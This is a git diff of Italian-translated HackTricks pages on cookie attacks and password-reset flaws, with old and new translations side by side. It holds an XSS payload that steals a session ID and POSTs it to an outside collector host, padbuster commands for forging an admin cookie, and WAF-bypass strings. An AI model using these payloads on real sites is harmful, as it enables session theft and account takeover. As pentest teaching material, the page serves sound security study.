- Questo può essere bypassato con richieste **TRACE HTTP** in quanto la risposta dal server (se questo metodo HTTP è disponibile) rifletterà i cookie inviati. Questa tecnica è chiamata **Cross-Site Tracking**.
|
||||
- Questa tecnica è evitata dai browser moderni non permettendo l'invio di una richiesta TRACE da JS. Tuttavia, sono stati trovati alcuni bypass in software specifico come l'invio di `\r\nTRACE` invece di `TRACE` su IE6.0 SP2.
|
||||
- Un altro modo è lo sfruttamento di vulnerabilità zero/day nei browser.
|
||||
- È possibile **sovrascrivere HttpOnly cookies** eseguendo un attacco di Cookie Jar overflow:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
cookie-jar-overflow.md
|
||||
{{#endref}}
|
||||
|
||||
- È possibile utilizzare l'attacco [**Cookie Smuggling**](#cookie-smuggling) per esfiltrare questi cookie.
|
||||
|
||||
- È possibile usare un attacco di [**Cookie Smuggling**](#cookie-smuggling) per esfiltrare questi cookie
|
||||
- Se un endpoint lato server echo il raw session ID nella risposta HTTP (es. dentro commenti HTML o un blocco di debug), è possibile bypassare HttpOnly usando un gadget XSS per richiedere quell'endpoint, estrarre il segreto tramite regex ed esfiltrarlo. Esempio di pattern di payload XSS:
|
||||
```js
|
||||
// Extract content between <!-- startscrmprint --> ... <!-- stopscrmprint -->
|
||||
const re = /<!-- startscrmprint -->([\s\S]*?)<!-- stopscrmprint -->/;
|
||||
fetch('/index.php?module=Touch&action=ws')
|
||||
.then(r => r.text())
|
||||
.then(t => { const m = re.exec(t); if (m) fetch('https://collab/leak', {method:'POST', body: JSON.stringify({leak: btoa(m[1])})}); });
|
||||
```
|
||||
### Secure
|
||||
|
||||
La richiesta invierà **solo** il cookie in una richiesta HTTP solo se la richiesta viene trasmessa su un canale sicuro (tipicamente **HTTPS**).
|
||||
La richiesta invierà il cookie **soltanto** in una richiesta HTTP se la richiesta è trasmessa su un canale sicuro (tipicamente **HTTPS**).
|
||||
|
||||
## Cookies Prefixes
|
||||
## Prefissi dei cookie
|
||||
|
||||
I cookie con prefisso `__Secure-` devono essere impostati insieme al flag `secure` da pagine che sono protette da HTTPS.
|
||||
I cookie con prefisso `__Secure-` devono essere impostati insieme al flag `secure` da pagine protette da HTTPS.
|
||||
|
||||
Per i cookie con prefisso `__Host-`, devono essere soddisfatte diverse condizioni:
|
||||
Per i cookie con prefisso `__Host-` devono essere soddisfatte diverse condizioni:
|
||||
|
||||
- Devono essere impostati con il flag `secure`.
|
||||
- Devono provenire da una pagina protetta da HTTPS.
|
||||
- È vietato specificare un dominio, impedendo la loro trasmissione ai sottodomini.
|
||||
- Il percorso per questi cookie deve essere impostato su `/`.
|
||||
- È vietato specificare un `domain`, impedendone la trasmissione ai sottodomini.
|
||||
- Il path per questi cookie deve essere impostato su `/`.
|
||||
|
||||
È importante notare che i cookie con prefisso `__Host-` non possono essere inviati a superdomini o sottodomini. Questa restrizione aiuta a isolare i cookie dell'applicazione. Pertanto, utilizzare il prefisso `__Host-` per tutti i cookie dell'applicazione può essere considerata una buona pratica per migliorare la sicurezza e l'isolamento.
|
||||
|
||||
### Overwriting cookies
|
||||
|
||||
Quindi, una delle protezioni dei cookie con prefisso `__Host-` è quella di impedire loro di essere sovrascritti dai sottodomini. Prevenendo ad esempio [**Cookie Tossing attacks**](cookie-tossing.md). Nella conferenza [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) è stato presentato che era possibile impostare cookie con prefisso \_\_HOST- da un sottodominio, ingannando il parser, ad esempio, aggiungendo "=" all'inizio o all'inizio e alla fine...:
|
||||
Quindi, una delle protezioni dei cookie con prefisso `__Host-` è impedirne la sovrascrittura da parte dei sottodomini. Previene, per esempio, [**Cookie Tossing attacks**](cookie-tossing.md). Nel talk [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) viene mostrato che era possibile impostare \_\_HOST- prefixed cookies da un sottodominio, ingannando il parser, per esempio aggiungendo "=" all'inizio o all'inizio e alla fine...:
|
||||
|
||||
<figure><img src="../../images/image (6) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
O in PHP era possibile aggiungere **altri caratteri all'inizio** del nome del cookie che sarebbero stati **sostituiti da caratteri di sottolineatura**, consentendo di sovrascrivere i cookie `__HOST-`:
|
||||
Oppure, in PHP era possibile aggiungere **altri caratteri all'inizio** del nome del cookie che sarebbero stati **sostituiti da underscore**, permettendo di sovrascrivere i cookie `__HOST-`:
|
||||
|
||||
<figure><img src="../../images/image (7) (1) (1) (1) (1).png" alt="" width="373"><figcaption></figcaption></figure>
|
||||
|
||||
## Cookies Attacks
|
||||
## Attacchi ai cookie
|
||||
|
||||
Se un cookie personalizzato contiene dati sensibili, controllalo (soprattutto se stai partecipando a un CTF), poiché potrebbe essere vulnerabile.
|
||||
Se un cookie custom contiene dati sensibili controllalo (soprattutto se stai facendo un CTF), poiché potrebbe essere vulnerabile.
|
||||
|
||||
### Decoding and Manipulating Cookies
|
||||
|
||||
I dati sensibili incorporati nei cookie dovrebbero sempre essere scrutinati. I cookie codificati in Base64 o formati simili possono spesso essere decodificati. Questa vulnerabilità consente agli attaccanti di alterare il contenuto del cookie e impersonare altri utenti codificando nuovamente i loro dati modificati nel cookie.
|
||||
I dati sensibili incorporati nei cookie devono sempre essere esaminati. I cookie codificati in Base64 o in formati simili possono spesso essere decodificati. Questa vulnerabilità permette agli attaccanti di modificare il contenuto del cookie e di impersonare altri utenti codificando di nuovo i dati modificati nel cookie.
|
||||
|
||||
### Session Hijacking
|
||||
|
||||
Questo attacco comporta il furto del cookie di un utente per ottenere accesso non autorizzato al proprio account all'interno di un'applicazione. Utilizzando il cookie rubato, un attaccante può impersonare l'utente legittimo.
|
||||
Questo attacco consiste nel rubare il cookie di un utente per ottenere accesso non autorizzato al suo account in un'applicazione. Utilizzando il cookie rubato, un attaccante può impersonare l'utente legittimo.
|
||||
|
||||
### Session Fixation
|
||||
|
||||
In questo scenario, un attaccante inganna una vittima inducendola a utilizzare un cookie specifico per accedere. Se l'applicazione non assegna un nuovo cookie al momento del login, l'attaccante, in possesso del cookie originale, può impersonare la vittima. Questa tecnica si basa sul fatto che la vittima accede con un cookie fornito dall'attaccante.
|
||||
In questo scenario, un attaccante induce una vittima a utilizzare un cookie specifico per effettuare il login. Se l'applicazione non assegna un nuovo cookie al momento del login, l'attaccante, in possesso del cookie originale, può impersonare la vittima. Questa tecnica si basa sul fatto che la vittima effettui il login con un cookie fornito dall'attaccante.
|
||||
|
||||
Se hai trovato un **XSS in un sottodominio** o **controlli un sottodominio**, leggi:
|
||||
Se hai trovato una **XSS in un sottodominio** o **controlli un sottodominio**, leggi:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -123,9 +130,9 @@ cookie-tossing.md
|
||||
|
||||
### Session Donation
|
||||
|
||||
Qui, l'attaccante convince la vittima a utilizzare il cookie di sessione dell'attaccante. La vittima, credendo di essere connessa al proprio account, eseguirà involontariamente azioni nel contesto dell'account dell'attaccante.
|
||||
Qui, l'attaccante convince la vittima a usare il cookie di sessione dell'attaccante. La vittima, credendo di essere autenticata nel proprio account, eseguirà involontariamente azioni nel contesto dell'account dell'attaccante.
|
||||
|
||||
Se hai trovato un **XSS in un sottodominio** o **controlli un sottodominio**, leggi:
|
||||
Se hai trovato una **XSS in un sottodominio** o **controlli un sottodominio**, leggi:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -134,23 +141,23 @@ cookie-tossing.md
|
||||
|
||||
### [JWT Cookies](../hacking-jwt-json-web-tokens.md)
|
||||
|
||||
Clicca sul link precedente per accedere a una pagina che spiega i possibili difetti nei JWT.
|
||||
Click on the previous link to access a page explaining possible flaws in JWT.
|
||||
|
||||
I JSON Web Tokens (JWT) utilizzati nei cookie possono anche presentare vulnerabilità. Per informazioni dettagliate su potenziali difetti e su come sfruttarli, si consiglia di accedere al documento collegato sul hacking dei JWT.
|
||||
I JSON Web Tokens (JWT) usati nei cookie possono anch'essi presentare vulnerabilità. Per informazioni dettagliate sui potenziali problemi e su come sfruttarli, è consigliato consultare il documento linkato su hacking JWT.
|
||||
|
||||
### Cross-Site Request Forgery (CSRF)
|
||||
|
||||
Questo attacco costringe un utente autenticato a eseguire azioni indesiderate su un'applicazione web in cui è attualmente autenticato. Gli attaccanti possono sfruttare i cookie che vengono inviati automaticamente con ogni richiesta al sito vulnerabile.
|
||||
Questo attacco costringe un utente autenticato ad eseguire azioni non volute su un'applicazione web in cui è attualmente autenticato. Gli attaccanti possono sfruttare i cookie che vengono inviati automaticamente con ogni richiesta al sito vulnerabile.
|
||||
|
||||
### Empty Cookies
|
||||
|
||||
(Controlla ulteriori dettagli nella [ricerca originale](https://blog.ankursundara.com/cookie-bugs/)) I browser consentono la creazione di cookie senza un nome, il che può essere dimostrato tramite JavaScript come segue:
|
||||
(Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/)) I browser permettono la creazione di cookie senza nome, cosa che può essere dimostrata tramite JavaScript come segue:
|
||||
```js
|
||||
document.cookie = "a=v1"
|
||||
document.cookie = "=test value;" // Setting an empty named cookie
|
||||
document.cookie = "b=v2"
|
||||
```
|
||||
Il risultato nell'intestazione del cookie inviato è `a=v1; test value; b=v2;`. In modo intrigante, questo consente la manipolazione dei cookie se viene impostato un cookie con nome vuoto, potenzialmente controllando altri cookie impostando il cookie vuoto a un valore specifico:
|
||||
Il risultato nell'intestazione Cookie inviata è `a=v1; test value; b=v2;`. In modo intrigante, questo permette la manipolazione dei cookie se viene impostato un cookie senza nome, potenzialmente controllando altri cookie impostando il cookie senza nome a un valore specifico:
|
||||
```js
|
||||
function setCookie(name, value) {
|
||||
document.cookie = `${name}=${value}`
|
||||
@ -158,49 +165,50 @@ document.cookie = `${name}=${value}`
|
||||
|
||||
setCookie("", "a=b") // Setting the empty cookie modifies another cookie's value
|
||||
```
|
||||
Questo porta il browser a inviare un'intestazione cookie interpretata da ogni server web come un cookie chiamato `a` con un valore `b`.
|
||||
Questo porta il browser a inviare un cookie header interpretato da ogni web server come un cookie chiamato `a` con valore `b`.
|
||||
|
||||
#### Bug di Chrome: Problema del Codice Surrogato Unicode
|
||||
#### Chrome Bug: Unicode Surrogate Codepoint Issue
|
||||
|
||||
In Chrome, se un codice surrogato Unicode fa parte di un cookie impostato, `document.cookie` diventa corrotto, restituendo successivamente una stringa vuota:
|
||||
In Chrome, se un Unicode surrogate codepoint fa parte di un set cookie, `document.cookie` viene corrotto e successivamente restituisce una stringa vuota:
|
||||
```js
|
||||
document.cookie = "\ud800=meep"
|
||||
```
|
||||
Questo porta a `document.cookie` che restituisce una stringa vuota, indicando una corruzione permanente.
|
||||
Questo fa sì che `document.cookie` restituisca una stringa vuota, indicando una corruzione permanente.
|
||||
|
||||
#### Cookie Smuggling a causa di problemi di parsing
|
||||
|
||||
(Controlla ulteriori dettagli nella [ricerca originale](https://blog.ankursundara.com/cookie-bugs/)) Diversi server web, inclusi quelli di Java (Jetty, TomCat, Undertow) e Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), gestiscono in modo errato le stringhe dei cookie a causa del supporto obsoleto di RFC2965. Leggono un valore di cookie racchiuso tra virgolette come un singolo valore anche se include punti e virgola, che normalmente dovrebbero separare le coppie chiave-valore:
|
||||
(Consulta ulteriori dettagli nella[original research](https://blog.ankursundara.com/cookie-bugs/)) Diversi web server, inclusi quelli Java (Jetty, TomCat, Undertow) e Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), gestiscono in modo errato le stringhe di cookie a causa del supporto obsoleto di RFC2965. Interpretano un valore di cookie tra virgolette doppie come un unico valore anche se contiene punti e virgola, che normalmente dovrebbero separare coppie chiave-valore:
|
||||
```
|
||||
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
|
||||
```
|
||||
#### Vulnerabilità di Iniezione dei Cookie
|
||||
#### Cookie Injection Vulnerabilities
|
||||
|
||||
(Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/)) L'analisi errata dei cookie da parte dei server, in particolare Undertow, Zope e quelli che utilizzano `http.cookie.SimpleCookie` e `http.cookie.BaseCookie` di Python, crea opportunità per attacchi di iniezione dei cookie. Questi server non delimitano correttamente l'inizio di nuovi cookie, consentendo agli attaccanti di falsificare i cookie:
|
||||
(Per ulteriori dettagli consulta l'[original research](https://blog.ankursundara.com/cookie-bugs/)) L'errata parsing dei cookies da parte dei server, in particolare Undertow, Zope e quelli che usano Python's `http.cookie.SimpleCookie` e `http.cookie.BaseCookie`, crea opportunità per cookie injection attacks. Questi server non delimitano correttamente l'inizio di nuovi cookies, permettendo agli attacker di spoofare cookies:
|
||||
|
||||
- Undertow si aspetta un nuovo cookie immediatamente dopo un valore tra virgolette senza un punto e virgola.
|
||||
- Zope cerca una virgola per iniziare a analizzare il cookie successivo.
|
||||
- Le classi di cookie di Python iniziano a analizzare su un carattere di spazio.
|
||||
- Zope cerca una virgola per iniziare il parsing del cookie successivo.
|
||||
- Le classi cookie di Python iniziano a parsare su un carattere spazio.
|
||||
|
||||
Questa vulnerabilità è particolarmente pericolosa nelle applicazioni web che si basano sulla protezione CSRF basata su cookie, poiché consente agli attaccanti di iniettare cookie CSRF-token falsificati, potenzialmente eludendo le misure di sicurezza. Il problema è aggravato dalla gestione dei nomi di cookie duplicati da parte di Python, dove l'ultima occorrenza sovrascrive quelle precedenti. Solleva anche preoccupazioni per i cookie `__Secure-` e `__Host-` in contesti insicuri e potrebbe portare a bypass di autorizzazione quando i cookie vengono passati a server back-end suscettibili alla falsificazione.
|
||||
Questa vulnerabilità è particolarmente pericolosa nelle web applications che si basano su cookie-based CSRF protection, poiché permette agli attacker di injectare spoofed CSRF-token cookies, potenzialmente bypassando le misure di sicurezza. Il problema è aggravato dal comportamento di Python con nomi di cookie duplicati, dove l'ultima occorrenza sovrascrive le precedenti. Solleva inoltre preoccupazioni per `__Secure-` e `__Host-` cookies in contesti non sicuri e potrebbe portare a authorization bypasses quando i cookies vengono passati a back-end servers suscettibili allo spoofing.
|
||||
|
||||
### Cookies $version
|
||||
|
||||
#### Bypass WAF
|
||||
#### WAF Bypass
|
||||
|
||||
Secondo [**questo blogpost**](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie), potrebbe essere possibile utilizzare l'attributo del cookie **`$Version=1`** per far sì che il backend utilizzi una logica obsoleta per analizzare il cookie a causa del **RFC2109**. Inoltre, altri valori come **`$Domain`** e **`$Path`** possono essere utilizzati per modificare il comportamento del backend con il cookie.
|
||||
Secondo [**this blogpost**](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie), potrebbe essere possibile usare l'attributo cookie **`$Version=1`** per far sì che il backend utilizzi una logica di parsing vecchia a causa della **RFC2109**. Inoltre, altri valori come **`$Domain`** e **`$Path`** possono essere usati per modificare il comportamento del backend rispetto al cookie.
|
||||
|
||||
#### Attacco Cookie Sandwich
|
||||
#### Cookie Sandwich Attack
|
||||
|
||||
Secondo [**questo blogpost**](https://portswigger.net/research/stealing-httponly-cookies-with-the-cookie-sandwich-technique) è possibile utilizzare la tecnica del cookie sandwich per rubare cookie HttpOnly. Questi sono i requisiti e i passaggi:
|
||||
Secondo [**this blogpost**](https://portswigger.net/research/stealing-httponly-cookies-with-the-cookie-sandwich-technique) è possibile usare la cookie sandwich technique per rubare HttpOnly cookies. Questi sono i requisiti e i passaggi:
|
||||
|
||||
- Trovare un luogo dove un apparente **cookie è riflesso nella risposta**
|
||||
- **Creare un cookie chiamato `$Version`** con valore `1` (puoi farlo in un attacco XSS da JS) con un percorso più specifico in modo che ottenga la posizione iniziale (alcuni framework come Python non necessitano di questo passaggio)
|
||||
- **Creare il cookie che è riflesso** con un valore che lascia un **aperto doppio apice** e con un percorso specifico in modo che sia posizionato nel database dei cookie dopo il precedente (`$Version`)
|
||||
- Poi, il cookie legittimo andrà successivamente nell'ordine
|
||||
- **Creare un cookie fittizio che chiude il doppio apice** all'interno del suo valore
|
||||
- Trova un punto in cui un apparente cookie inutile è reflected nella risposta
|
||||
- **Create a cookie called `$Version`** con valore `1` (puoi farlo in un attacco XSS da JS) con un path più specifico in modo che ottenga la posizione iniziale (alcuni framework come python non necessitano di questo passaggio)
|
||||
- **Create the cookie that is reflected** con un valore che lascia una **open double quotes** e con un path specifico in modo che venga posizionato nel cookie db dopo il precedente (`$Version`)
|
||||
- Poi, il cookie legittimo verrà posizionato subito dopo nell'ordine
|
||||
- **Create a dummy cookie that closes the double quotes** all'interno del suo valore
|
||||
|
||||
In questo modo, il cookie della vittima viene intrappolato all'interno del nuovo cookie versione 1 e verrà riflesso ogni volta che viene riflesso.
|
||||
In questo modo il victim cookie rimane intrappolato nella nuova cookie versione 1 e verrà riflesso ogni volta che viene riflesso.
|
||||
ad esempio dal post:
|
||||
```javascript
|
||||
document.cookie = `$Version=1;`;
|
||||
document.cookie = `param1="start`;
|
||||
@ -215,50 +223,50 @@ Controlla la sezione precedente.
|
||||
|
||||
#### Bypassing value analysis with quoted-string encoding
|
||||
|
||||
Questo parsing indica di disattivare l'escape dei valori all'interno dei cookie, quindi "\a" diventa "a". Questo può essere utile per bypassare i WAF come:
|
||||
Questa parsing indica di unescape-are i valori escaped all'interno dei cookies, quindi "\a" diventa "a". Questo può essere utile per bypassare i WAFS come:
|
||||
|
||||
- `eval('test') => forbidden`
|
||||
- `"\e\v\a\l\(\'\t\e\s\t\'\)" => allowed`
|
||||
|
||||
#### Bypassing cookie-name blocklists
|
||||
|
||||
Nell'RFC2109 è indicato che una **virgola può essere usata come separatore tra i valori dei cookie**. Ed è anche possibile aggiungere **spazi e tabulazioni prima e dopo il segno di uguale**. Pertanto, un cookie come `$Version=1; foo=bar, abc = qux` non genera il cookie `"foo":"bar, admin = qux"` ma i cookie `foo":"bar"` e `"admin":"qux"`. Nota come vengono generati 2 cookie e come l'admin ha rimosso lo spazio prima e dopo il segno di uguale.
|
||||
Nel RFC2109 è indicato che una **virgola può essere usata come separatore tra i cookie values**. Ed è anche possibile aggiungere **spazi e tab prima e dopo il segno di uguale**. Pertanto un cookie come `$Version=1; foo=bar, abc = qux` non genera il cookie `"foo":"bar, admin = qux"` ma i cookie `foo":"bar"` e `"admin":"qux"`. Nota come vengano generati 2 cookie e come ad admin sia stato rimosso lo spazio prima e dopo il segno di uguale.
|
||||
|
||||
#### Bypassing value analysis with cookie splitting
|
||||
|
||||
Infine, diverse backdoor si unirebbero in una stringa diversi cookie passati in intestazioni di cookie differenti come in:
|
||||
Infine diversi backdoors unirebbero in una stringa cookie differenti passati in diversi cookie headers, come in:
|
||||
```
|
||||
GET / HTTP/1.1
|
||||
Host: example.com
|
||||
Cookie: param1=value1;
|
||||
Cookie: param2=value2;
|
||||
```
|
||||
Che potrebbe consentire di eludere un WAF come in questo esempio:
|
||||
Il che potrebbe permettere il bypass di un WAF come in questo esempio:
|
||||
```
|
||||
Cookie: name=eval('test//
|
||||
Cookie: comment')
|
||||
|
||||
Resulting cookie: name=eval('test//, comment') => allowed
|
||||
```
|
||||
### Controlli Extra Vulnerabili sui Cookie
|
||||
### Controlli extra per Cookie vulnerabili
|
||||
|
||||
#### **Controlli di base**
|
||||
|
||||
- Il **cookie** è **sempre** lo **stesso** ogni volta che ti **accedi**.
|
||||
- Disconnettiti e prova a usare lo stesso cookie.
|
||||
- Prova ad accedere con 2 dispositivi (o browser) allo stesso account usando lo stesso cookie.
|
||||
- Controlla se il cookie contiene informazioni e prova a modificarlo.
|
||||
- Prova a creare diversi account con nomi utente quasi identici e controlla se puoi vedere somiglianze.
|
||||
- Controlla l'opzione "**ricordami**" se esiste per vedere come funziona. Se esiste e potrebbe essere vulnerabile, usa sempre il cookie di **ricordami** senza alcun altro cookie.
|
||||
- Controlla se il cookie precedente funziona anche dopo aver cambiato la password.
|
||||
- Il **cookie** è **uguale** ogni volta che effettui il **login**.
|
||||
- Fai Log out e prova a usare lo stesso cookie.
|
||||
- Prova a eseguire il **log in** con 2 dispositivi (o browser) sullo stesso account usando lo stesso cookie.
|
||||
- Controlla se il cookie contiene informazioni e prova a modificarle
|
||||
- Prova a creare diversi **accounts** con username quasi identici e verifica se riesci a vedere somiglianze.
|
||||
- Controlla l'opzione "**remember me**" se esiste per vedere come funziona. Se esiste e potrebbe essere vulnerabile, usa sempre il cookie di **remember me** senza alcun altro cookie.
|
||||
- Verifica se il cookie precedente funziona anche dopo aver cambiato la password.
|
||||
|
||||
#### **Attacchi avanzati ai cookie**
|
||||
|
||||
Se il cookie rimane lo stesso (o quasi) quando accedi, questo probabilmente significa che il cookie è legato a qualche campo del tuo account (probabilmente il nome utente). Allora puoi:
|
||||
Se il cookie rimane lo stesso (o quasi) quando esegui il **log in**, probabilmente significa che il cookie è correlato a qualche campo del tuo account (probabilmente lo **username**). A questo punto puoi:
|
||||
|
||||
- Provare a creare molti **account** con nomi utente molto **simili** e cercare di **indovinare** come funziona l'algoritmo.
|
||||
- Provare a **bruteforce il nome utente**. Se il cookie viene salvato solo come metodo di autenticazione per il tuo nome utente, allora puoi creare un account con nome utente "**Bmin**" e **bruteforce** ogni singolo **bit** del tuo cookie perché uno dei cookie che proverai sarà quello appartenente a "**admin**".
|
||||
- Prova **Padding** **Oracle** (puoi decrittare il contenuto del cookie). Usa **padbuster**.
|
||||
- Prova a creare molti **accounts** con username molto **simili** e cerca di **indovinare** come funziona l'algoritmo.
|
||||
- Prova a **bruteforce the username**. Se il cookie viene usato solo come metodo di autenticazione per il tuo username, allora puoi creare un account con username "**Bmin**" e **bruteforce** ogni singolo **bit** del tuo cookie perché uno dei cookie che proverai sarà quello appartenente a "**admin**".
|
||||
- Prova **Padding** **Oracle** (puoi decriptare il contenuto del cookie). Usa **padbuster**.
|
||||
|
||||
**Padding Oracle - Esempi di Padbuster**
|
||||
```bash
|
||||
@ -270,43 +278,46 @@ padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies a
|
||||
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
|
||||
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2
|
||||
```
|
||||
Padbuster farà diversi tentativi e ti chiederà quale condizione è la condizione di errore (quella che non è valida).
|
||||
Padbuster effettuerà diversi tentativi e ti chiederà quale condizione corrisponde all'errore (quella non valida).
|
||||
|
||||
Poi inizierà a decrittografare il cookie (potrebbe richiedere diversi minuti)
|
||||
Poi inizierà decrypting the cookie (potrebbe richiedere diversi minuti)
|
||||
|
||||
Se l'attacco è stato eseguito con successo, allora potresti provare a crittografare una stringa a tua scelta. Ad esempio, se desideri **encrypt** **user=administrator**
|
||||
Se l'attacco è stato eseguito con successo, allora potresti provare a encrypt una stringa a tua scelta. Per esempio, se volessi **encrypt** **user=administrator**
|
||||
```
|
||||
padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator
|
||||
```
|
||||
Questa esecuzione ti darà il cookie correttamente crittografato e codificato con la stringa **user=administrator** all'interno.
|
||||
Questa esecuzione ti darà il cookie correttamente cifrato e codificato con la stringa **user=administrator** all'interno.
|
||||
|
||||
**CBC-MAC**
|
||||
|
||||
Forse un cookie potrebbe avere un valore e potrebbe essere firmato utilizzando CBC. Quindi, l'integrità del valore è la firma creata utilizzando CBC con lo stesso valore. Poiché si raccomanda di utilizzare come IV un vettore nullo, questo tipo di controllo dell'integrità potrebbe essere vulnerabile.
|
||||
Forse un cookie potrebbe avere un valore e potrebbe essere firmato usando CBC. In questo caso, l'integrità del valore è la firma creata usando CBC con lo stesso valore. Poiché è raccomandato usare come IV un vettore nullo, questo tipo di verifica di integrità potrebbe essere vulnerabile.
|
||||
|
||||
**L'attacco**
|
||||
**The attack**
|
||||
|
||||
1. Ottieni la firma del nome utente **administ** = **t**
|
||||
2. Ottieni la firma del nome utente **rator\x00\x00\x00 XOR t** = **t'**
|
||||
1. Ottieni la firma dell'username **administ** = **t**
|
||||
2. Ottieni la firma dell'username **rator\x00\x00\x00 XOR t** = **t'**
|
||||
3. Imposta nel cookie il valore **administrator+t'** (**t'** sarà una firma valida di **(rator\x00\x00\x00 XOR t) XOR t** = **rator\x00\x00\x00**
|
||||
|
||||
**ECB**
|
||||
|
||||
Se il cookie è crittografato utilizzando ECB potrebbe essere vulnerabile.\
|
||||
Quando accedi, il cookie che ricevi deve essere sempre lo stesso.
|
||||
Se il cookie è cifrato usando ECB potrebbe essere vulnerabile.\
|
||||
Quando effettui il login il cookie che ricevi deve essere sempre lo stesso.
|
||||
|
||||
**Come rilevare e attaccare:**
|
||||
**How to detect and attack:**
|
||||
|
||||
Crea 2 utenti con quasi gli stessi dati (nome utente, password, email, ecc.) e prova a scoprire qualche modello all'interno del cookie fornito.
|
||||
Crea 2 utenti con dati quasi identici (username, password, email, ecc.) e prova a scoprire qualche pattern all'interno del cookie fornito
|
||||
|
||||
Crea un utente chiamato ad esempio "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" e controlla se c'è qualche modello nel cookie (poiché ECB crittografa con la stessa chiave ogni blocco, gli stessi byte crittografati potrebbero apparire se il nome utente è crittografato).
|
||||
Crea un utente chiamato ad esempio "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" e verifica se c'è qualche pattern nel cookie (dato che ECB cifra ogni blocco con la stessa chiave, gli stessi byte cifrati potrebbero apparire se lo username è cifrato).
|
||||
|
||||
Dovrebbe esserci un modello (con la dimensione di un blocco utilizzato). Quindi, sapendo come sono crittografati un gruppo di "a", puoi creare un nome utente: "a"\*(dimensione del blocco)+"admin". Poi, potresti eliminare il modello crittografato di un blocco di "a" dal cookie. E avrai il cookie del nome utente "admin".
|
||||
Dovrebbe esserci un pattern (con la dimensione del blocco usato). Quindi, sapendo come viene cifrato un blocco di "a" puoi creare uno username: "a"\*(size of the block)+"admin". Poi puoi eliminare il pattern cifrato corrispondente a un blocco di "a" dal cookie. E otterrai il cookie dello username "admin".
|
||||
|
||||
## Riferimenti
|
||||
## References
|
||||
|
||||
- [https://blog.ankursundara.com/cookie-bugs/](https://blog.ankursundara.com/cookie-bugs/)
|
||||
- [https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd](https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd)
|
||||
- [https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie)
|
||||
- [https://seclists.org/webappsec/2006/q2/181](https://seclists.org/webappsec/2006/q2/181)
|
||||
- [https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it](https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it)
|
||||
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -4,36 +4,36 @@
|
||||
|
||||
## **Password Reset Token Leak Via Referrer**
|
||||
|
||||
- L'intestazione HTTP referer può rivelare il token di reset della password se è incluso nell'URL. Questo può verificarsi quando un utente clicca su un link di un sito web di terze parti dopo aver richiesto un reset della password.
|
||||
- **Impatto**: Possibile assunzione del controllo dell'account tramite attacchi Cross-Site Request Forgery (CSRF).
|
||||
- **Sfruttamento**: Per verificare se un token di reset della password sta trapelando nell'intestazione referer, **richiedi un reset della password** al tuo indirizzo email e **clicca sul link di reset** fornito. **Non cambiare immediatamente la tua password**. Invece, **naviga verso un sito web di terze parti** (come Facebook o Twitter) mentre **intercetti le richieste utilizzando Burp Suite**. Ispeziona le richieste per vedere se **l'intestazione referer contiene il token di reset della password**, poiché questo potrebbe esporre informazioni sensibili a terzi.
|
||||
- **Riferimenti**:
|
||||
- L'header HTTP referer può esporre il token di password reset se è incluso nell'URL. Questo può accadere quando un utente clicca su un link di un sito di terze parti dopo aver richiesto un password reset.
|
||||
- **Impact**: Potenziale takeover dell'account tramite Cross-Site Request Forgery (CSRF) attacks.
|
||||
- **Exploitation**: Per verificare se un password reset token viene esposto nel referer header, **richiedi un password reset** al tuo indirizzo email e **clicca il reset link** fornito. **Non cambiare immediatamente la password**. Invece, **naviga su un sito di terze parti** (come Facebook o Twitter) mentre **intercetti le richieste usando Burp Suite**. Ispeziona le richieste per vedere se il **referer header contiene il password reset token**, poiché questo potrebbe esporre informazioni sensibili a terze parti.
|
||||
- **References**:
|
||||
- [HackerOne Report 342693](https://hackerone.com/reports/342693)
|
||||
- [HackerOne Report 272379](https://hackerone.com/reports/272379)
|
||||
- [Password Reset Token Leak Article](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a)
|
||||
|
||||
## **Password Reset Poisoning**
|
||||
|
||||
- Gli attaccanti possono manipolare l'intestazione Host durante le richieste di reset della password per indirizzare il link di reset a un sito malevolo.
|
||||
- **Impatto**: Porta a una possibile assunzione del controllo dell'account rivelando i token di reset agli attaccanti.
|
||||
- **Passi di mitigazione**:
|
||||
- Convalidare l'intestazione Host rispetto a un elenco di domini consentiti.
|
